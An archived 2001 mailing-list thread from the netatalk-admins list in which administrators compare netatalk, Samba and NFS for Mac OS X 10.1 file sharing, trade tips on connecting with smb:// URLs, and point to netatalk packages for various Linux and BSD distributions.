Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA23053
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 18:21:14 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA01699
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 18:21:14 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA01679
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 18:21:13 -0400 (EDT)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA01642
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 18:21:12 -0400 (EDT)
Received: from nh-merrimack1a-237.bur.adelphia.net ([24.49.144.237] helo=bloodberry)
	by hobbiton.shire.net with asmtp (Exim 3.22 #6)
	id 15ro89-00009r-00; Thu, 11 Oct 2001 16:16:42 -0600
Date: Thu, 11 Oct 2001 18:21:09 -0400
Subject: Re: okay, so what version should I use with 10.1? 
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: netatalk-admins@umich.edu
To: mikko@fs.sorl.net
From: "Chad Leigh -- ObjectWerks Inc." <chad@objectwerks.com>
In-Reply-To: <5.1.0.14.2.20011012001051.01c93c40@carme.affordablehost.com>
Message-Id: <4570D375-BE96-11D5-B135-000502EDE760@objectwerks.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)

The reason you want to use netatlk and not samba or nfs is that netatalk 
talks the apple language of 2-forked files and apple file meta data.  
NFS and samba don't.  atalk over tcp is very fast and works well.  And 
netatlk seems to be ok.

Chad

On Thursday, October 11, 2001, at 06:12  PM, mikko@fs.sorl.net wrote:

> I never used osX but i can tell you that I would use
> samba or NFS over netatalk anyday.
>
> All the best /Mikko
>
>
> At 23:54 2001-10-11, you wrote:
>> > From:  mikko@fs.sorl.net
>> > Date:  Thu, 11 Oct 2001 23:20:49 +0200
>> >
>> > If you use osX, why dont you use samba?
>>
>> Well...
>>
>> 1) I've always used atalk in the past.
>>
>> 2) It hadn't occured to me.
>>
>> 3) I can't figure out how.  Searching for smb tells me "Choose Connect 
>> To
>> Server from the Finder's Go menu, then browse for the server or enter 
>> its
>> address.  All I see is the appletalk server, not the SMB server.  How 
>> do I
>> tell it to use SMB?
>>
>> Chris
>>
>> --
>> Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
>> virCIO                          http://www.virCIO.Com
>> 4314 Avenue C
>> Austin, TX  78751-3709          +1 512 374 0500
>>
>>   My email address is an experiment in SPAM elimination.  For an
>>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
>>
>>     The Greatest tragedy in mankind's entire history may be the
>>       hijacking of morality by religion.  However valuable -- even
>>       necessary -- that may have been in enforcing good behavior on
>>       primitive peoples, their association is now counterproductive.
>>       Yet at the very moment when they should be decoupled,
>>       sanctimonious nitwits are calling for a return to morals based
>>       on superstition.
>>                                 --- Arthur C. Clarke
>>
>>
>
>
>


From netatalk.administrators-errors@umich.edu  Thu Oct 11 18:21:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA23097
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 18:21:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA16986
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 18:21:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA16964
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 18:21:56 -0400 (EDT)
Received: from smtp-out.mac.com (smtpout.mac.com [204.179.120.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA16931
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 18:21:55 -0400 (EDT)
Received: from smtp-relay02.mac.com (smtp-relay02-qfe3 [10.13.10.225])
	by smtp-out.mac.com (8.10.2/8.10.2/1.0) with ESMTP id f9BMLoO15760
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 15:21:50 -0700 (PDT)
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay02.mac.com (Netscape Messaging Server 4.15 relay02 Jun
          21 2001 23:53:48) with ESMTP id GL2BGD00.M2R for
          <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 15:21:49 -0700 
Received: from ws98982.corp.us.uu.net ([153.39.136.69]) by
          asmtp01.mac.com (Netscape Messaging Server 4.15 asmtp01 Jun 21
          2001 23:53:48) with ESMTP id GL2BGD00.UE8 for
          <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 15:21:49 -0700 
Date: Thu, 11 Oct 2001 18:21:27 -0400
Subject: Re: okay, so what version should I use with 10.1? 
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
From: David <zer0@mac.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
In-Reply-To: <32242.1002837242@deepeddy.com>
Message-Id: <4FF65432-BE96-11D5-A92E-003065B455F8@mac.com>
X-Mailer: Apple Mail (2.472)

smb://address/share

Note, you have to specify the shared resource because you cannot browse 
them and select.


On Thursday, October 11, 2001, at 05:54 PM, Chris Garrigues wrote:

>> From:  mikko@fs.sorl.net
>> Date:  Thu, 11 Oct 2001 23:20:49 +0200
>>
>> If you use osX, why dont you use samba?
>
> Well...
>
> 1) I've always used atalk in the past.
>
> 2) It hadn't occured to me.
>
> 3) I can't figure out how.  Searching for smb tells me "Choose Connect To
> Server from the Finder's Go menu, then browse for the server or enter its
> address.  All I see is the appletalk server, not the SMB server.  How do 
> I
> tell it to use SMB?
>
> Chris
>
> --
> Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
> virCIO                          http://www.virCIO.Com
> 4314 Avenue C
> Austin, TX  78751-3709		+1 512 374 0500
>
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
>
>     The Greatest tragedy in mankind's entire history may be the
>       hijacking of morality by religion.  However valuable -- even
>       necessary -- that may have been in enforcing good behavior on
>       primitive peoples, their association is now counterproductive.
>       Yet at the very moment when they should be decoupled,
>       sanctimonious nitwits are calling for a return to morals based
>       on superstition.
> 				--- Arthur C. Clarke
>
>
>


From netatalk.administrators-errors@umich.edu  Thu Oct 11 18:30:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA23404
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 18:30:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA10973
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 18:30:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA10960
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 18:30:19 -0400 (EDT)
Received: from mail.servicemail123.com (ccs008.claborn.net [12.96.162.84])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA10446
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 18:30:18 -0400 (EDT)
Received: from jw.centraltexasit.com (unknown [65.166.138.2])
	by mail.servicemail123.com (Postfix) with ESMTP id 0021A3606D
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 17:29:56 -0500 (CDT)
Message-Id: <5.1.0.14.0.20011011172838.03223a18@mail.servicemail123.com>
X-Sender: jw@centraltexasit.com@mail.servicemail123.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 11 Oct 2001 17:32:11 -0500
To: netatalk-admins@umich.edu
From: JW <jw@centraltexasit.com>
Subject: Re: okay, so what version should I use with 10.1? 
In-Reply-To: <5.1.0.14.2.20011012001051.01c93c40@carme.affordablehost.co
 m>
References: <32242.1002837242@deepeddy.com>
 <5.1.0.14.2.20011011232005.01d048e8@carme.affordablehost.com>
 <5.1.0.14.2.20011011232005.01d048e8@carme.affordablehost.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 12:12 AM 10/12/2001 +0200, you wrote:
>I never used osX but i can tell you that I would use
>samba or NFS over netatalk anyday.

I have used all three and like apple talk the best.

The first time I used netatalk on SuSE 7.1 it worked flawlessly without me setting up anything. SMB takes a fair bit of configurating.

I upgraded the box and broke netatalk, never had time to fix it.

NFS is a pain to set up and SMB is not a very High-Availability network protocol, IMO.

In short, I don't see any good reason to use anything besides Apple Talk.

>All the best /Mikko
>
>
>At 23:54 2001-10-11, you wrote:
>>> From:  mikko@fs.sorl.net
>>> Date:  Thu, 11 Oct 2001 23:20:49 +0200
>>>
>>> If you use osX, why dont you use samba?

Because OX X 10.1's implementation of SMB is pitiful. It's worse then smb:// browsing in Konqueror.

The connect to box does not browse the network at all, you have to feed it the full URL to a share: smb://servername/sharename


>>Well...
>>
>>1) I've always used atalk in the past.
>>
>>2) It hadn't occured to me.
>>
>>3) I can't figure out how.  Searching for smb tells me "Choose Connect To
>>Server from the Finder's Go menu, then browse for the server or enter its
>>address.  All I see is the appletalk server, not the SMB server.  How do I
>>tell it to use SMB?

You can't. You just have to give it a URL - see above.

>>Chris

----------------------------------------------------
Jonathan Wilson
System Administrator

Cedar Creek Software     http://www.cedarcreeksoftware.com
Central Texas IT     http://www.centraltexasit.com


From netatalk.administrators-errors@umich.edu  Thu Oct 11 18:33:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA23602
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 18:33:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA20064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 18:33:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA20048
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 18:33:14 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA20021
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 18:33:13 -0400 (EDT)
Received: (qmail 9155 invoked by uid 104); 11 Oct 2001 22:33:13 -0000
Received: from cwg-dated-496d6ebc8f53ae09@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.463016 secs); 11/10/2001 17:33:12
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-496d6ebc8f53ae09@deepeddy.com>)
          by easycomeeasygo.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 11 Oct 2001 22:33:11 -0000
Received: (qmail 16657 invoked by alias); 11 Oct 2001 22:33:10 -0000
From: "Chris Garrigues" <cwg-dated-496d6ebc8f53ae09@deepeddy.com>
Received: (qmail 16626 invoked from network); 11 Oct 2001 22:33:08 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <chad@objectwerks.com@fixme>; 11 Oct 2001 22:33:08 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: "Chad Leigh -- ObjectWerks Inc." <chad@objectwerks.com>
Cc: mikko@fs.sorl.net, netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1? 
In-Reply-To: <4570D375-BE96-11D5-B135-000502EDE760@objectwerks.com> 
References: <4570D375-BE96-11D5-B135-000502EDE760@objectwerks.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-2000792416P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 11 Oct 2001 17:33:08 -0500
Message-ID: <16622.1002839588@deepeddy.com>
Mail-Reply-To: cwg-dated-496d6ebc8f53ae09@DeepEddy.Com

--==_Exmh_-2000792416P
Content-Type: text/plain; charset=us-ascii

> From:  "Chad Leigh -- ObjectWerks Inc." <chad@objectwerks.com>
> Date:  Thu, 11 Oct 2001 18:21:09 -0400
>
> The reason you want to use netatlk and not samba or nfs is that netatalk 
> talks the apple language of 2-forked files and apple file meta data.  
> NFS and samba don't.  atalk over tcp is very fast and works well.  And 
> netatlk seems to be ok.
> 
> Chad
> 
> On Thursday, October 11, 2001, at 06:12  PM, mikko@fs.sorl.net wrote:
> 
> > I never used osX but i can tell you that I would use
> > samba or NFS over netatalk anyday.

Also, I'd question the sanity of anyone who prefered NFS over pretty much 
anything else, except probably abominations like netbios.  They don't call
it the Nightmare File System for nothing.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-2000792416P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7xh4kK9b4h5R0IUIRAkdrAJ4hnGxtUo7HogKaXVD50chuoeSeHQCfSjC8
YgR5ricbOViVa/OSEmOCS6k=
=tByL
-----END PGP SIGNATURE-----

--==_Exmh_-2000792416P--

From netatalk.administrators-errors@umich.edu  Thu Oct 11 18:39:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA23797
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 18:39:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA24686
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 18:39:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA24669
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 18:39:11 -0400 (EDT)
Received: from austin-jump.vircio.com (jump-austin.vircio.com [216.30.106.234])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA24640
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 18:39:10 -0400 (EDT)
Received: (qmail 9509 invoked by uid 104); 11 Oct 2001 22:39:10 -0000
Received: from cwg-dated-16ad39d04f4be238@deepeddy.com by localhost.localdomain with qmail-scanner-0.90 (uvscan: v4.1.40/v4165. . Clean. Processed in 0.476006 secs); 11/10/2001 17:39:09
Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-16ad39d04f4be238@deepeddy.com>)
          by kingcreole.mr.itd.umich.edu (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 11 Oct 2001 22:39:09 -0000
Received: (qmail 18227 invoked by alias); 11 Oct 2001 22:39:08 -0000
From: "Chris Garrigues" <cwg-dated-16ad39d04f4be238@deepeddy.com>
Received: (qmail 18204 invoked from network); 11 Oct 2001 22:39:07 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) (cwg@[10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <zer0@mac.com@fixme>; 11 Oct 2001 22:39:07 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: David <zer0@mac.com>
Cc: netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1? 
In-Reply-To: <4FF65432-BE96-11D5-A92E-003065B455F8@mac.com> 
References: <4FF65432-BE96-11D5-A92E-003065B455F8@mac.com>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1994452600P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 11 Oct 2001 17:39:07 -0500
Message-ID: <18200.1002839947@deepeddy.com>
Mail-Reply-To: cwg-dated-16ad39d04f4be238@DeepEddy.Com

--==_Exmh_-1994452600P
Content-Type: text/plain; charset=us-ascii

> From:  David <zer0@mac.com>
> Date:  Thu, 11 Oct 2001 18:21:27 -0400
>
> smb://address/share
> 
> Note, you have to specify the shared resource because you cannot browse 
> them and select.

Thanks...that works.

Between the inability to browse and the loss of my resource forks and meta 
data, it's pretty close to useless, but it does work.

I'm tired today.  I'm going to work on building myself an RPM of 
netatalk-1.5pre8 tomorrow.  (I need an RPM because I'm supporting multiple 
servers and I do all my software management via RPM.)

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-1994452600P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE7xh+LK9b4h5R0IUIRAkz9AJ9bM+dfuoMYa1szRkORqErmSnqjzgCfT9fi
E0leIECqUhYae40eO4Obj38=
=avIn
-----END PGP SIGNATURE-----

--==_Exmh_-1994452600P--

From netatalk.administrators-errors@umich.edu  Thu Oct 11 18:47:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA24475
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 18:47:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA04754
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 18:47:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA04736
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 18:47:53 -0400 (EDT)
Received: from mhub-c5.tc.umn.edu (mhub-c5.tc.umn.edu [160.94.128.51])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA04700
	for <netatalk-admins@UMICH.EDU>; Thu, 11 Oct 2001 18:47:52 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-c5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Thu, 11 Oct 2001 17:47:51 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Thu, 11 Oct 2001 17:47:51 -0500
Date: Thu, 11 Oct 2001 17:47:51 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Chris Garrigues <cwg-dated-5006cb244cc1735d@deepeddy.com>
cc: netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1?
In-Reply-To: <30772.1002834263@deepeddy.com>
Message-Id: <Pine.SOL.4.20.0110111746210.27377-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 10/11/01, Chris Garrigues wisely declared:

> I just got my 10.1 and was really hoping that it could talk to my linux box.
> 
> Unfortunately it doesn't.  I'm running 1.5pre6 because that was the most 
> recent RPM I could find.
> 
> Should I be upgrading to 1.5pre8, and if so, does anybody already have an RPM. 
> If not, I'll build my own RPM, but I thought I'd ask here first.
> 
> Chris

Which linux are you using?


These are the RPM's etc. of which I am aware:

FreeBSD - port: /usr/ports/net/netatalk - maintained by Joe Clark

SUSE - ftp://ftp.suse.com/pub/suse/i386/7.2/suse/n2/netatalk.rpm

OpenBSD - port: /usr/ports/net/netatalk/ (not actively maintained, as far
as I can tell, and it's pretty old.)

Debian -
http://non-us.debian.org/debian-non-us/pool/non-US/main/n/netatalk/ (note,
this iss in the non-U.S. distrib, and is in the non-stable section.
Maintained by Sebastian)

If anyone knows of any more, let me know and I'll add them into the FAQ
I'm working on.

-Karen


-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Thu Oct 11 19:35:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA26257
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 19:35:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA05377
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 19:35:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA05359
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 19:35:05 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA05302
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 19:35:03 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f9BNZ2a27341
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 01:35:02 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f9BNZ2c13724
	for netatalk-admins@umich.edu; Fri, 12 Oct 2001 01:35:02 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15rpA7-0001cD-00
	for <netatalk-admins@umich.edu>; Fri, 12 Oct 2001 01:22:47 +0200
Date: Fri, 12 Oct 2001 01:22:47 +0200
To: netatalk-admins@umich.edu
Subject: Re: okay, so what version should I use with 10.1?
Message-ID: <20011012012247.C6092@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <30772.1002834263@deepeddy.com> <Pine.SOL.4.20.0110111746210.27377-100000@garnet.tc.umn.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <Pine.SOL.4.20.0110111746210.27377-100000@garnet.tc.umn.edu>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Thu, Oct 11, 2001 at 05:47:51PM -0500, Karen A Swanberg wrote:

> Debian -
> http://non-us.debian.org/debian-non-us/pool/non-US/main/n/netatalk/ (note,
> this iss in the non-U.S. distrib, and is in the non-stable section.
> Maintained by Sebastian)

But note that non-us means "not to be exported from the U.S.", and not
"not for use in the U.S.". It may be legally forbidden to export the
software in non-us from the U.S., but since non-us.debian.org is located
in the Netherlands (and I am located in Germany), there shouldn't be any
problems for anybody downloading and using this.

Also, all this doesn't apply to netatalk, since the Debian version isn't
linked against OpenSSL anymore. (The linking against it was the original
reason to move netatalk to non-us. And since I want to link against it
again when the legal problems[1] are resolved, I didn't bother to move it
back.)

 - Sebastian

[1] The legal problem is that netatalk is now GPL'ed and OpenSSL can't
    be linked against GPL'ed programs (accordings to the FSF).


From netatalk.administrators-errors@umich.edu  Thu Oct 11 19:49:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA26924
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Oct 2001 19:49:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA19860
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Oct 2001 19:49:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA19835
	for netatalk.administrators-members@umich.edu; Thu, 11 Oct 2001 19:49:13 -0400 (EDT)
Received: from axiom.anu.edu.au (axiom.anu.edu.au [150.203.127.200])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA19789
	for <netatalk-admins@umich.edu>; Thu, 11 Oct 2001 19:49:11 -0400 (EDT)
Received: from [150.203.127.238] (cooyoyo.anu.edu.au [150.203.127.238])
	(authenticated (0 bits))
	by axiom.anu.edu.au (8.11.2/1.1 Herple Unix 5.3) with ESMTP id f9BNmxS23622;
	Fri, 12 Oct 2001 09:48:59 +1000
Mime-Version: 1.0
X-Sender: kimh@axiom.anu.edu.au
Message-Id: <a05101001b7ebdd50963c@[150.203.127.238]>
In-Reply-To: <18200.1002839947@deepeddy.com>
References: <4FF65432-BE96-11D5-A92E-003065B455F8@mac.com>
 <18200.1002839947@deepeddy.com>
Date: Fri, 12 Oct 2001 09:36:56 +1000
To: "Chris Garrigues" <cwg-dated-16ad39d04f4be238@deepeddy.com>,
        David <zer0@mac.com>
From: Kim Holburn <kim.holburn@anu.edu.au>
Subject: Re: okay, so what version should I use with 10.1?
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 5:39 PM -0500 11/10/01, Chris Garrigues wrote:
>  > From:  David <zer0@mac.com>
>>  Date:  Thu, 11 Oct 2001 18:21:27 -0400
>>
>>  smb://address/share
>>
>>  Note, you have to specify the shared resource because you cannot browse
>>  them and select.
>
>Thanks...that works.
>
>Between the inability to browse and the loss of my resource forks and meta
>data, it's pretty close to useless, but it does work.

A document at apple somewhere warns that if you open more than one 
smb share in 10.1 you will get a kernel panic!!!

>I'm tired today.  I'm going to work on building myself an RPM of
>netatalk-1.5pre8 tomorrow.  (I need an RPM because I'm supporting multiple
>servers and I do all my software management via RPM.)
>
>Chris
>
>--
>Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
>virCIO                          http://www.virCIO.Com
>4314 Avenue C                  
>Austin, TX  78751-3709		+1 512 374 0500
>
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
>
>     The Greatest tragedy in mankind's entire history may be the
>       hijacking of morality by religion.  However valuable -- even
>       necessary -- that may have been in enforcing good behavior on
>       primitive peoples, their association is now counterproductive.
>       Yet at the very moment when they should be decoupled,
>       sanctimonious nitwits are calling for a return to morals based
>       on superstition.
>				--- Arthur C. Clarke
>
>
>
>Content-Type: application/pgp-signature
>
>Attachment converted: kaliana:Untitled 24 (????/----) (000431A5)


-- 
--
Kim Holburn  Network Consultant  P/F: +61 2 61258620 M: +61 0417820641
Email: kim.holburn@anu.edu.au - PGP Public Key on request

Life is complex - It has real and imaginary parts.
      Andrea Leistra (rec.arts.sf.written.Robert-jordan)

From netatalk.administrators-errors@umich.edu  Fri Oct 12 00:38:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
